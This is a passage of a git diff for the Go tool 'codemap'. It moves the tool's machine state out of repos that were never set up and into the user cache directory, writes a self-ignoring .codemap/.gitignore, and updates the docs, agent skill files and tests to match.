receiving a payload it understands: `tool_input.file_path` (Edit/Write), `tool_input.notebook_path` (NotebookEdit), or `tool_input.command` (Codex `apply_patch`). diff --git a/docs/INSTALL.md b/docs/INSTALL.md index fc4522b3..9c717362 100644 --- a/docs/INSTALL.md +++ b/docs/INSTALL.md @@ -42,12 +42,17 @@ codemap setup `codemap setup` configures the agents it detects: Claude Code when `~/.claude`, `~/.claude.json`, or `claude` on `PATH` exists, Codex when `~/.codex` or `codex` on `PATH` exists, and both when it finds neither. It: -- creates `.codemap/config.json` with auto-detected language filters +- creates `.codemap/` with `config.json` (auto-detected language filters) and `.codemap/.gitignore` +- names any machine-state files under `.codemap/` that git already tracks and prints the `git rm --cached -- ` command that untracks them (it never runs it) - merges Claude hooks into `.claude/settings.local.json` and configures MCP in `.mcp.json` (project scope) - merges Codex hooks into `~/.codex/hooks.json` and configures MCP in `~/.codex/config.toml` (user scope, since Codex skips a project's `.codex/` until the project is trusted; `--project` writes `.codex/` instead) - writes the builtin skills to `.claude/skills/` for Claude, keeping any skill file you edited - hooks start and read daemon state at session start +`.codemap/config.json` and `.codemap/skills/` are safe to commit. Everything else in the folder is machine state, ignored by the folder's own `.gitignore`; codemap writes that file only when it is missing, so your edits to it stay. + +Until you run setup (or `codemap config init` / `codemap skill init`), codemap writes nothing into the repo: no `.codemap/`, no `.git/info/exclude` rule. Hooks, the watch daemon and every command keep machine state under `$XDG_CACHE_HOME/codemap//` when `XDG_CACHE_HOME` is set, otherwise the OS user cache directory (`~/Library/Caches/codemap/` on macOS, `~/.cache/codemap/` on Linux). Without a config file codemap uses its defaults (every file type) instead of auto-detected filters. + Rerunning setup is safe: it changes only what is missing or stale. `--no-config`, `--no-hooks`, `--no-mcp`, and `--no-skills` skip a piece. Managed entries record the verified absolute path of the running `codemap`, so agents don't depend on your shell `PATH`. Rerun setup if that path changes. diff --git a/handoff/testmain_test.go b/handoff/testmain_test.go new file mode 100644 index 00000000..923a90c5 --- /dev/null +++ b/handoff/testmain_test.go @@ -0,0 +1,18 @@ +package handoff + +import ( + "os" + "testing" +) + +// TestMain keeps state of un-set-up test repos out of the real user cache. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-handoff-cache-*") + if err != nil { + os.Exit(1) + } + os.Setenv("XDG_CACHE_HOME", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/internal/gitexclude/gitexclude.go b/internal/gitexclude/gitexclude.go index ac88c3c2..072de11c 100644 --- a/internal/gitexclude/gitexclude.go +++ b/internal/gitexclude/gitexclude.go @@ -1,6 +1,6 @@ -// Package gitexclude keeps codemap's own state directory out of `git status` -// without touching a tracked .gitignore: the rule goes to the clone-local -// /info/exclude, which linked worktrees share. +// Package gitexclude keeps codemap's machine state out of `git status` +// without touching the repo's own ignore files: an in-repo .codemap/ carries +// its own .gitignore that leaves only config.json and skills/ committable. package gitexclude import ( @@ -10,6 +10,8 @@ import ( "os/exec" "path/filepath" "strings" + + "codemap/internal/runtimefile" ) // Entry is the ignore rule written for codemap's state directory. The @@ -81,66 +83,40 @@ func LocalEntry(root string) (string, bool, error) { return target, HasLine(data, Entry), nil } -// EnsureIgnored ensures Entry is listed in root's clone-local info/exclude. -// It returns the file written, or "" when the entry already exists there or -// root is not a git work tree. It records the local rule even when a tracked -// .gitignore already covers it, so `codemap setup` leaves a rule it owns. -func EnsureIgnored(root string) (string, error) { - if !IsWorkTree(root) { - return "", nil - } - target, present, err := LocalEntry(root) - if err != nil { - return "", err - } - if present { - return "", nil - } - if err := AppendEntry(target, Entry); err != nil { - return "", err - } - return target, nil -} - -// EnsureIgnoredIfNeeded is the quiet variant used when codemap creates the -// state directory on its own (issue #184): it writes Entry to info/exclude -// only when git does not already ignore .codemap/ by any rule, so a repo -// whose tracked .gitignore covers it gains no redundant local rule. It -// returns the file written, or "" when nothing was needed or root is not a -// git work tree. -func EnsureIgnoredIfNeeded(root string) (string, error) { - if !IsWorkTree(root) { - return "", nil - } - ignored, _, err := CheckIgnored(root, Entry) - if err != nil { - return "", err - } - if ignored { - return "", nil - } - return EnsureIgnored(root) +// StateIgnore is the .codemap/.gitignore codemap writes: machine state stays +// out of git while config.json and skills/ stay committable. +const StateIgnore = `# Written by codemap. Machine state stays out of git; config and skills can be committed. +* +!.gitignore +!config.json +!skills/ +!skills/** +` + +// EnsureStateIgnore writes stateDir/.gitignore with StateIgnore when the file +// is missing; a user's copy is never touched. It returns whether it wrote. +func EnsureStateIgnore(stateDir string) (bool, error) { + path := filepath.Join(stateDir, ".gitignore") + if _, err := os.Lstat(path); err == nil || !os.IsNotExist(err) { + return false, err + } + if err := runtimefile.WriteAtomic(path, []byte(StateIgnore), 0o644); err != nil { + return false, err + } + return true, nil } -// MkdirAll creates dir like os.MkdirAll and, when doing so creates a -// `.codemap` directory (dir itself or an ancestor of it) that did not exist -// before, ensures git ignores it via EnsureIgnoredIfNeeded on the directory -// that contains it. Every codemap state write that may create `.codemap/` -// goes through here so a fresh checkout's `git status` stays clean after -// any command. The ignore write is best-effort: a failure there never fails -// the directory creation, and nothing runs when `.codemap` already exists. +// MkdirAll creates dir like os.MkdirAll and, when dir is or sits inside a +// `.codemap` directory, ensures that directory carries StateIgnore. Every +// in-repo codemap state write goes through here, so machine state never +// shows in `git status`. The ignore write is best-effort: a failure there +// never fails the directory creation. func MkdirAll(dir string, perm os.FileMode) error { - stateDir, hasStateDir := stateDirOf(dir) - existed := true - if hasStateDir { - _, err := os.Lstat(stateDir) - existed = err == nil - } if err := os.MkdirAll(dir, perm); err != nil { return err } - if hasStateDir && !existed { - _, _ = EnsureIgnoredIfNeeded(filepath.Dir(stateDir)) + if stateDir, ok := stateDirOf(dir); ok { + _, _ = EnsureStateIgnore(stateDir) } return nil } diff --git a/internal/gitexclude/gitexclude_test.go b/internal/gitexclude/gitexclude_test.go index 10fd0336..8705dc17 100644 --- a/internal/gitexclude/gitexclude_test.go +++ b/internal/gitexclude/gitexclude_test.go @@ -48,55 +48,57 @@ func freshClone(t *testing.T) string { return clone } -func TestMkdirAllIgnoresNewStateDirInFreshClone(t *testing.T) { +func TestMkdirAllWritesStateIgnoreAndLeavesExclude(t *testing.T) { root := freshClone(t) - stateDir := filepath.Join(root, ".codemap", "projects", "abc") - - if err := MkdirAll(stateDir, 0o755); err != nil { + exclude, err := InfoExcludePath(root) + if err != nil { t.Fatal(err) } - if err := os.WriteFile(filepath.Join(stateDir, "state.json"), []byte("{}"), 0o644); err != nil { + before, _ := os.ReadFile(exclude) + stateDir := filepath.Join(root, ".codemap", "projects", "abc") + if err := MkdirAll(stateDir, 0o755); err != nil { t.Fatal(err) } - if status := gitRun(t, root, "status", "--porcelain"); strings.TrimSpace(status) != "" { - t.Fatalf("git status not clean after state write:\n%s", status) - } - if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("must never create a tracked .gitignore") + for path, content := range map[string]string{ + filepath.Join(stateDir, "state.json"): "{}", + filepath.Join(root, ".codemap", "agent_edits.jsonl"): "{}", + filepath.Join(root, ".codemap", "config.json"): "{}", + filepath.Join(root, ".codemap", "skills", "mine", "SKILL.md"): "x", + } { + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } } - exclude, err := InfoExcludePath(root) - if err != nil { - t.Fatal(err) + status := gitRun(t, root, "status", "--porcelain", "--untracked-files=all") + for _, want := range []string{".codemap/.gitignore", ".codemap/config.json", ".codemap/skills/mine/SKILL.md"} { + if !strings.Contains(status, want) { + t.Fatalf("git status should offer %s for commit:\n%s", want, status) + } } - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) + for _, gone := range []string{"state.json", "agent_edits"} { + if strings.Contains(status, gone) { + t.Fatalf("machine state %s is not ignored:\n%s", gone, status) + } } - if !HasLine(data, Entry) { - t.Fatalf("info/exclude missing %q:\n%s", Entry, data) + if after, _ := os.ReadFile(exclude); string(after) != string(before) { + t.Fatalf("info/exclude changed:\n%s", after) } } -func TestMkdirAllAddsNoLocalRuleWhenTrackedIgnoreCovers(t *testing.T) { - root := freshClone(t) - if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte(".codemap/\n"), 0o644); err != nil { - t.Fatal(err) - } - gitRun(t, root, "add", ".gitignore") - gitRun(t, root, "commit", "-q", "-m", "ignore") - - if err := MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { - t.Fatal(err) - } - exclude, err := InfoExcludePath(root) - if err != nil { +func TestEnsureStateIgnoreKeepsUserCopy(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + if err := os.WriteFile(path, []byte("mine\n"), 0o644); err != nil { t.Fatal(err) } - if data, err := os.ReadFile(exclude); err == nil && HasLine(data, Entry) { - t.Fatalf("local rule written although .gitignore already ignores .codemap/:\n%s", data) + if wrote, err := EnsureStateIgnore(dir); err != nil || wrote { + t.Fatalf("EnsureStateIgnore = %v, %v; want no write", wrote, err) } - if status := gitRun(t, root, "status", "--porcelain"); strings.TrimSpace(status) != "" { - t.Fatalf("git status not clean:\n%s", status) + if data, _ := os.ReadFile(path); string(data) != "mine\n" { + t.Fatalf("user .gitignore rewritten: %q", data) } } @@ -120,39 +122,6 @@ func TestMkdirAllOutsideGitAndWithoutStateDir(t *testing.T) { } } -func TestEnsureIgnoredIfNeededUsesSharedExcludeInLinkedWorktree(t *testing.T) { - root := freshClone(t) - wt := filepath.Join(t.TempDir(), "wt") - gitRun(t, root, "worktree", "add", "-q", wt, "HEAD") - - wrote, err := EnsureIgnoredIfNeeded(wt) - if err != nil { - t.Fatal(err) - } - // git reports the common dir with symlinks resolved (macOS keeps - // t.TempDir under /var -> /private/var), so compare canonical paths. - want := canonical(t, filepath.Join(root, ".git", "info", "exclude")) - if got := canonical(t, wrote); got != want { - t.Fatalf("wrote %q, want the primary's shared exclude %q", got, want) - } - if err := os.MkdirAll(filepath.Join(wt, ".codemap"), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(wt, ".codemap", "config.json"), []byte("{}"), 0o644); err != nil { - t.Fatal(err) - } - if status := gitRun(t, wt, "status", "--porcelain"); strings.TrimSpace(status) != "" { - t.Fatalf("worktree git status not clean:\n%s", status) - } - again, err := EnsureIgnoredIfNeeded(wt) - if err != nil { - t.Fatal(err) - } - if again != "" { - t.Fatalf("second call wrote %q, want nothing", again) - } -} - func TestTrackedStateFiles(t *testing.T) { root := freshClone(t) files, err := TrackedStateFiles(root) diff --git a/internal/projectpath/runtime.go b/internal/projectpath/runtime.go index 39ea5853..196572b8 100644 --- a/internal/projectpath/runtime.go +++ b/internal/projectpath/runtime.go @@ -37,6 +37,9 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { Source: selection.Source, } if selection.Source != SourceExplicit { + if !IsSetUp(selection.ProjectRoot) { + result.RuntimeDir = filepath.Join(CanonicalPath(StateCacheDir()), ProjectKey(selection.ProjectRoot)) + } return result, nil } @@ -54,6 +57,28 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { return result, nil } +// IsSetUp reports whether the project's policy directory (/.codemap) +// exists. Only explicit commands (setup, config init, skill init) create it; +// a project without one keeps its machine state in StateCacheDir (#184). +func IsSetUp(projectRoot string) bool { + info, err := os.Lstat(CodemapDir(projectRoot)) + return err == nil && info.IsDir() +} + +// StateCacheDir is the per-user root for machine state of projects that are +// not set up: $XDG_CACHE_HOME/codemap on every OS when set, else the OS user +// cache directory. +func StateCacheDir() string { + base := os.Getenv("XDG_CACHE_HOME") + if !filepath.IsAbs(base) { + var err error + if base, err = os.UserCacheDir(); err != nil { + base = os.TempDir() + } + } + return filepath.Join(base, "codemap") +} + func ensureRealDirectory(path string) error { info, err := os.Lstat(path) if os.IsNotExist(err) { diff --git a/internal/projectpath/runtime_cache_test.go b/internal/projectpath/runtime_cache_test.go new file mode 100644 index 00000000..0ff4ca5d --- /dev/null +++ b/internal/projectpath/runtime_cache_test.go @@ -0,0 +1,37 @@ +package projectpath + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestSelectRuntimeUsesCacheUntilSetUp(t *testing.T) { + root := makeProjectFixture(t) + cache := t.TempDir() + t.Setenv("XDG_CACHE_HOME", cache) + _ = os.RemoveAll(filepath.Join(root, ".codemap")) + + selection, err := SelectRuntime(root) + if err != nil { + t.Fatal(err) + } + if want := filepath.Join(CanonicalPath(cache), "codemap", ProjectKey(root)); selection.RuntimeDir != want { + t.Fatalf("RuntimeDir = %q, want %q", selection.RuntimeDir, want) + } + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("selection created .codemap/: %v", err) + } + + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } + selection, err = SelectRuntime(root) + if err != nil { + t.Fatal(err) + } + if !strings.HasSuffix(selection.RuntimeDir, string(filepath.Separator)+".codemap") || !IsSetUp(root) { + t.Fatalf("set-up RuntimeDir = %q, want /.codemap", selection.RuntimeDir) + } +} diff --git a/internal/projectpath/testmain_test.go b/internal/projectpath/testmain_test.go new file mode 100644 index 00000000..7c7ae878 --- /dev/null +++ b/internal/projectpath/testmain_test.go @@ -0,0 +1,18 @@ +package projectpath + +import ( + "os" + "testing" +) + +// TestMain keeps state of un-set-up test repos out of the real user cache. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-projectpath-cache-*") + if err != nil { + os.Exit(1) + } + os.Setenv("XDG_CACHE_HOME", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/main.go b/main.go index 4956a02d..85350738 100644 --- a/main.go +++ b/main.go @@ -465,8 +465,7 @@ func main() { // adds to the config's exclude list (issue #150), since a config exclude // is a standing decision about the repo and one run narrowing further // must not silently re-admit it. - // The subagent orientation runs in repos that never ran setup; it must not write config. - if tempDir == "" && os.Getenv(cmd.TreeLeanEnv) != cmd.TreeLeanDirsOnly { + if tempDir == "" { cmd.EnsureProjectConfig(absRoot) } projCfg := config.Load(absRoot) @@ -894,7 +893,7 @@ func runWatchMode(root string, verbose bool) { fmt.Printf("Watching: %s\n", root) fmt.Printf("Files tracked: %d (every file under the root, before config filters)\n", daemon.FileCount()) - fmt.Println("Event log: .codemap/events.log") + fmt.Println("Event log: " + filepath.Join(projectpath.ProjectRuntimeDir(root), "events.log")) fmt.Println() fmt.Println("Press Ctrl+C to stop") fmt.Println() diff --git a/main_helpers_test.go b/main_helpers_test.go index d2446c81..49de1b6a 100644 --- a/main_helpers_test.go +++ b/main_helpers_test.go @@ -301,8 +301,8 @@ func TestMainFreshCloneLeavesGitStatusClean(t *testing.T) { if !strings.Contains(out, "Files:") { t.Fatalf("expected a structure summary, got:\n%s", out) } - if _, err := os.Stat(filepath.Join(clone, ".codemap", "config.json")); err != nil { - t.Fatalf("auto-init config not written: %v", err) + if _, err := os.Stat(filepath.Join(clone, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("`codemap .` created .codemap/ in a repo that never ran setup: %v", err) } status := exec.Command("git", "status", "--porcelain") status.Dir = clone diff --git a/main_test.go b/main_test.go index 89a81f8a..43edaddf 100644 --- a/main_test.go +++ b/main_test.go @@ -42,6 +42,9 @@ func TestMain(m *testing.M) { if os.Getenv("CODEMAP_DAEMON_REGISTRY") == "" { os.Setenv("CODEMAP_DAEMON_REGISTRY", filepath.Join(tmpDir, "daemons")) } + if os.Getenv("XDG_CACHE_HOME") == "" { + os.Setenv("XDG_CACHE_HOME", filepath.Join(tmpDir, "cache")) + } // setup writes Codex config to the user scope by default; never the real one. for _, name := range []string{"HOME", "USERPROFILE"} { os.Setenv(name, tmpDir) diff --git a/mcp/main.go b/mcp/main.go index de6711cc..550fc594 100644 --- a/mcp/main.go +++ b/mcp/main.go @@ -221,7 +221,7 @@ type HandoffInput struct { Since string `json:"since,omitempty" jsonschema:"Look back window for recent events (Go duration, e.g. 2h, 30m)"` Ref string `json:"ref,omitempty" jsonschema:"Git base ref for diff (default: main)"` Latest bool `json:"latest,omitempty" jsonschema:"Read latest saved handoff artifact instead of generating a new one"` - Save bool `json:"save,omitempty" jsonschema:"When true, persist generated artifact to .codemap/handoff.latest.json"` + Save bool `json:"save,omitempty" jsonschema:"When true, persist generated artifact to handoff.latest.json in the project state directory"` JSON bool `json:"json,omitempty" jsonschema:"Return raw JSON output"` Prefix bool `json:"prefix,omitempty" jsonschema:"Return only the stable prefix snapshot"` Delta bool `json:"delta,omitempty" jsonschema:"Return only the recent delta snapshot"` diff --git a/mcp/testmain_test.go b/mcp/testmain_test.go index d1891c68..42a70ca1 100644 --- a/mcp/testmain_test.go +++ b/mcp/testmain_test.go @@ -16,6 +16,7 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv("CODEMAP_DAEMON_REGISTRY", dir) + os.Setenv("XDG_CACHE_HOME", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/plugins/codemap/skills/codemap/SKILL.md b/plugins/codemap/skills/codemap/SKILL.md index 4473f461..9beef5f8 100644 --- a/plugins/codemap/skills/codemap/SKILL.md +++ b/plugins/codemap/skills/codemap/SKILL.md @@ -36,7 +36,7 @@ codemap serve --port 9471 # HTTP API for non-MCP integrations Before deeper Codemap analysis in a repo: -1. Check `.codemap/config.json`. +1. Check `.codemap/config.json`. A repo with no `.codemap/` folder was never set up: leave it that way unless the user asks (codemap keeps its state outside the repo). 2. If it is missing, clearly boilerplate, or obviously too noisy for the stack, run `codemap skill show config-setup` and follow it. 3. After writing or improving config, rerun `codemap .` and `codemap --deps`. diff --git a/plugins/codemap/skills/config-setup/SKILL.md b/plugins/codemap/skills/config-setup/SKILL.md index 1f2f12af..8747887c 100644 --- a/plugins/codemap/skills/config-setup/SKILL.md +++ b/plugins/codemap/skills/config-setup/SKILL.md @@ -22,7 +22,7 @@ Write or improve `.codemap/config.json` so future Codemap calls stay focused on ## Use this when -1. `.codemap/config.json` is missing +1. `.codemap/config.json` is missing in a repo the user has set up (`.codemap/` exists), or the user asked to set codemap up. Never create `.codemap/` in a repo the user has not asked to set up. 2. The existing config looks like a bare bootstrap instead of a real project policy 3. Codemap output is dominated by assets, fixtures, generated files, vendor trees, PDFs, screenshots, models, or training data 4. The project stack is obvious, but Codemap is not prioritizing the right parts of the repo diff --git a/scanner/walker.go b/scanner/walker.go index 3c84db0f..945ca2e7 100644 --- a/scanner/walker.go +++ b/scanner/walker.go @@ -307,6 +307,27 @@ func IsNestedGitRepo(dir string) bool { return info.IsDir() || info.Mode().IsRegular() } +// IgnoredDirPaths are root-relative directories skipped by path, not name: +// agent worktrees left under .claude/worktrees/ without a .git entry would +// otherwise be scanned as project source (#184). +var IgnoredDirPaths = []string{".claude/worktrees"} + +// ignoredDirPath returns path's slash form relative to root when it is one +// of IgnoredDirPaths. +func ignoredDirPath(root, path string) (string, bool) { + rel, err := filepath.Rel(root, path) + if err != nil { + return "", false + } + rel = filepath.ToSlash(rel) + for _, p := range IgnoredDirPaths { + if rel == p { + return rel, true + } + } + return "", false +} + // NestedGitRepos returns the root-relative paths (OS separators, sorted) of // every git repository nested anywhere under root: linked worktrees (for // example `.claude/worktrees/agent-x`), plain clones, and submodules, at any @@ -508,6 +529,9 @@ func ScanFilesBounded(ctx context.Context, root string, cache *GitIgnoreCache, f } return nil } + if _, ok := ignoredDirPath(absRoot, path); ok && info.IsDir() { + return filepath.SkipDir + } if info.Mode()&os.ModeSymlink != 0 && path != absRoot && !filters.IncludeSymlinks { return nil } diff --git a/scanner/walker_test.go b/scanner/walker_test.go index 773251c2..814ca9d1 100644 --- a/scanner/walker_test.go +++ b/scanner/walker_test.go @@ -14,6 +14,31 @@ import ( "codemap/internal/projectpath" ) +func TestScanFilesSkipsClaudeWorktreesByPath(t *testing.T) { + root := t.TempDir() + for _, rel := range []string{"main.go", ".claude/worktrees/leftover/stale.go", "pkg/.claude/worktrees/kept.go"} { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("package x\n"), 0o644); err != nil { + t.Fatal(err) + } + } + files, err := ScanFiles(context.Background(), root, nil, nil, nil) + if err != nil { + t.Fatal(err) + } + var got []string + for _, f := range files { + got = append(got, filepath.ToSlash(f.Path)) + } + sort.Strings(got) + if want := []string{"main.go", "pkg/.claude/worktrees/kept.go"}; !reflect.DeepEqual(got, want) { + t.Fatalf("files = %v, want %v", got, want) + } +} + func TestIgnoredDirs(t *testing.T) { // Verify common directories are in the ignored list expectedIgnored := []string{ diff --git a/skills/builtin/codemap.md b/skills/builtin/codemap.md index 2f1195c4..ac69da34 100644 --- a/skills/builtin/codemap.md +++ b/skills/builtin/codemap.md @@ -38,7 +38,7 @@ codemap serve --port 9471 # HTTP API for non-MCP integrations Before deeper Codemap analysis in a repo: -1. Check `.codemap/config.json`. +1. Check `.codemap/config.json`. A repo with no `.codemap/` folder was never set up: leave it that way unless the user asks (codemap keeps its state outside the repo). 2. If it is missing, clearly boilerplate, or obviously too noisy for the stack, run `codemap skill show config-setup` and follow it. 3. After writing or improving config, rerun `codemap .` and `codemap --deps`. diff --git a/skills/builtin/config-setup.md b/skills/builtin/config-setup.md index 55b92ee7..a60a2610 100644 --- a/skills/builtin/config-setup.md +++ b/skills/builtin/config-setup.md @@ -25,7 +25,7 @@ Write or improve `.codemap/config.json` so future Codemap calls stay focused on ## Use this when -1. `.codemap/config.json` is missing +1. `.codemap/config.json` is missing in a repo the user has set up (`.codemap/` exists), or the user asked to set codemap up. Never create `.codemap/` in a repo the user has not asked to set up. 2. The existing config looks like a bare bootstrap instead of a real project policy 3. Codemap output is dominated by assets, fixtures, generated files, vendor trees, PDFs, screenshots, models, or training data 4. The project stack is obvious, but Codemap is not prioritizing the right parts of the repo diff --git a/state_location_test.go b/state_location_test.go new file mode 100644 index 00000000..8590aac7 --- /dev/null +++ b/state_location_test.go @@ -0,0 +1,134 @@ +package main + +import ( + "bytes" + "io/fs" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// stateFixture is a git repo with a few files and one commit. +func stateFixture(t *testing.T) string { + t.Helper() + root := t.TempDir() + for rel, content := range map[string]string{ + "go.mod": "module example.com/state\n\ngo 1.22\n", + "main.go": "package main\n\nimport \"example.com/state/pkg\"\n\nfunc main() { pkg.X() }\n", + "pkg/pkg.go": "package pkg\n\nfunc X() {}\n", + "docs/x.md": "# x\n", + "cmd/a/a.go": "package a\n\nimport \"example.com/state/pkg\"\n\nvar _ = pkg.X\n", + "cmd/b/b.go": "package b\n\nimport \"example.com/state/pkg\"\n\nvar _ = pkg.X\n", + } { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } + runGitMainTestCmd(t, root, "init", "-q") + runGitMainTestCmd(t, root, "add", ".") + runGitMainTestCmd(t, root, "-c", "user.name=t", "-c", "user.email=t@example.com", "commit", "-q", "-m", "init") + return root +} + +// runEveryEntryPoint runs the analysis commands and every hook against root +// with the user cache pointed at cache, then stops the daemon session-start +// started. +func runEveryEntryPoint(t *testing.T, root, cache string) { + t.Helper() + run := func(stdin string, args ...string) { + t.Helper() + cmd := exec.Command(codemapTestBinaryPath, args...) + cmd.Dir = root + cmd.Env = append(os.Environ(), "XDG_CACHE_HOME="+cache, "CODEMAP_HOOK_TIMEOUT=30s") + cmd.Stdin = strings.NewReader(stdin) + var stderr bytes.Buffer + cmd.Stderr = &stderr + if err := cmd.Run(); err != nil { + t.Fatalf("codemap %v: %v\n%s", args, err, stderr.String()) + } + } + t.Cleanup(func() { run("", "watch", "stop", root) }) + edit := `{"session_id":"exit-test","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + run("", ".") + run("", "--deps", ".") + run("", "--importers", "pkg/pkg.go", ".") + run("", "find", "x", ".") + run(`{"session_id":"exit-test"}`, "hook", "session-start") + run(`{"session_id":"exit-test","prompt":"refactor pkg/pkg.go"}`, "hook", "prompt-submit") + run(edit, "hook", "pre-edit") + run(edit, "hook", "post-edit") + run(`{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") + run(`{"session_id":"exit-test"}`, "hook", "pre-compact") + run(`{"session_id":"exit-test"}`, "hook", "session-stop") +} + +func findFile(t *testing.T, dir, name string) string { + t.Helper() + found := "" + _ = filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { + if err == nil && !d.IsDir() && d.Name() == name { + found = path + } + return nil + }) + return found +} + +// TestUnsetUpRepoKeepsNothingInTheRepo is the exit test for #184: every entry +// point in a repo that never ran setup leaves the checkout untouched and +// keeps machine state in the user cache. +func TestUnsetUpRepoKeepsNothingInTheRepo(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + exclude := filepath.Join(root, ".git", "info", "exclude") + before, _ := os.ReadFile(exclude) + + runEveryEntryPoint(t, root, cache) + + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap/ created in an un-set-up repo: %v", err) + } + if after, _ := os.ReadFile(exclude); !bytes.Equal(after, before) { + t.Fatalf(".git/info/exclude changed:\nbefore %q\nafter %q", before, after) + } + status := exec.Command("git", "status", "--porcelain", "--ignored") + status.Dir = root + out, err := status.Output() + if err != nil { + t.Fatal(err) + } + if strings.TrimSpace(string(out)) != "" { + t.Fatalf("git status --porcelain --ignored not empty:\n%s", out) + } + if findFile(t, cache, "agent_edits.jsonl") == "" { + t.Fatalf("post-edit record not under the cache dir %s", cache) + } +} + +// TestSetUpRepoKeepsStateInRepo: a repo with .codemap/ keeps its state there +// exactly as before, and the user cache stays empty. +func TestSetUpRepoKeepsStateInRepo(t *testing.T) { + root := stateFixture(t) + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } + cache := t.TempDir() + + runEveryEntryPoint(t, root, cache) + + if _, err := os.Stat(filepath.Join(root, ".codemap", "agent_edits.jsonl")); err != nil { + t.Fatalf("post-edit record not in .codemap/: %v", err) + } + if findFile(t, filepath.Join(root, ".codemap", "projects"), "state.json") == "" { + t.Fatal("session-start state not under .codemap/projects/") + } + if entries, _ := os.ReadDir(filepath.Join(cache, "codemap")); len(entries) != 0 { + t.Fatalf("set-up repo wrote into the user cache: %v", entries) + } +} diff --git a/topology/cache.go b/topology/cache.go index d3e0069b..db399547 100644 --- a/topology/cache.go +++ b/topology/cache.go @@ -15,6 +15,7 @@ import ( "codemap/config" "codemap/internal/gitexclude" + "codemap/internal/projectpath" "codemap/scanner" ) @@ -35,7 +36,7 @@ type CacheEnvelope struct { } func CachePath(root string) string { - return CachePathAt(filepath.Join(root, ".codemap")) + return CachePathAt(projectpath.RuntimeCodemapDir(root)) } // CachePathAt returns the topology cache path inside cacheDir. @@ -134,7 +135,7 @@ func BuildCacheIdentity(root string, files []scanner.FileInfo, manifests []strin } func ReadCache(root string, expected CacheIdentity) (*Graph, bool) { - return ReadCacheAt(filepath.Join(root, ".codemap"), root, expected) + return ReadCacheAt(projectpath.RuntimeCodemapDir(root), root, expected) } // ReadCacheAt reads a cache from cacheDir and validates graph paths against root. @@ -170,7 +171,7 @@ func IsCacheable(graph *Graph) bool { } func WriteCache(root string, envelope CacheEnvelope) error { - return WriteCacheAt(filepath.Join(root, ".codemap"), envelope) + return WriteCacheAt(projectpath.RuntimeCodemapDir(root), envelope) } // WriteCacheAt atomically writes a topology cache inside cacheDir. diff --git a/topology/testmain_test.go b/topology/testmain_test.go new file mode 100644 index 00000000..550ec194 --- /dev/null +++ b/topology/testmain_test.go @@ -0,0 +1,18 @@ +package topology + +import ( + "os" + "testing" +) + +// TestMain keeps state of un-set-up test repos out of the real user cache. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-topology-cache-*") + if err != nil { + os.Exit(1) + } + os.Setenv("XDG_CACHE_HOME", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/watch/daemon.go b/watch/daemon.go index f395f93c..5c52f100 100644 --- a/watch/daemon.go +++ b/watch/daemon.go @@ -177,12 +177,11 @@ func (d *Daemon) Start() error { if err := gitexclude.MkdirAll(codemapDir, 0755); err != nil { return fmt.Errorf("failed to create .codemap dir: %w", err) } - // Ensure the config directory exists; it is watched so config edits can - // refresh the configured-file inventory. + // The config directory is watched so config edits refresh the configured + // inventory. Only an explicit setup creates it (#184); without it there + // is no config to watch. configDir := d.configDir - if err := gitexclude.MkdirAll(configDir, 0755); err != nil { - return fmt.Errorf("failed to create .codemap dir: %w", err) - } + _, configDirErr := os.Stat(configDir) // Initial full scan if err := d.fullScan(); err != nil { @@ -198,8 +197,10 @@ func (d *Daemon) Start() error { if err := d.addWatchDirs(); err != nil { return fmt.Errorf("failed to add watch dirs: %w", err) } - if err := d.watcher.Add(configDir); err != nil { - return fmt.Errorf("failed to watch .codemap dir: %w", err) + if configDirErr == nil { + if err := d.watcher.Add(configDir); err != nil { + return fmt.Errorf("failed to watch .codemap dir: %w", err) + } } if err := ensureControlDirectory(d.publisher.flushDir); err != nil { return fmt.Errorf("create flush directory: %w", err) diff --git a/watch/testmain_test.go b/watch/testmain_test.go index 72eb8d96..74e7d2c9 100644 --- a/watch/testmain_test.go +++ b/watch/testmain_test.go @@ -16,6 +16,7 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv(daemonRegistryEnv, dir) + os.Setenv("XDG_CACHE_HOME", dir) code := 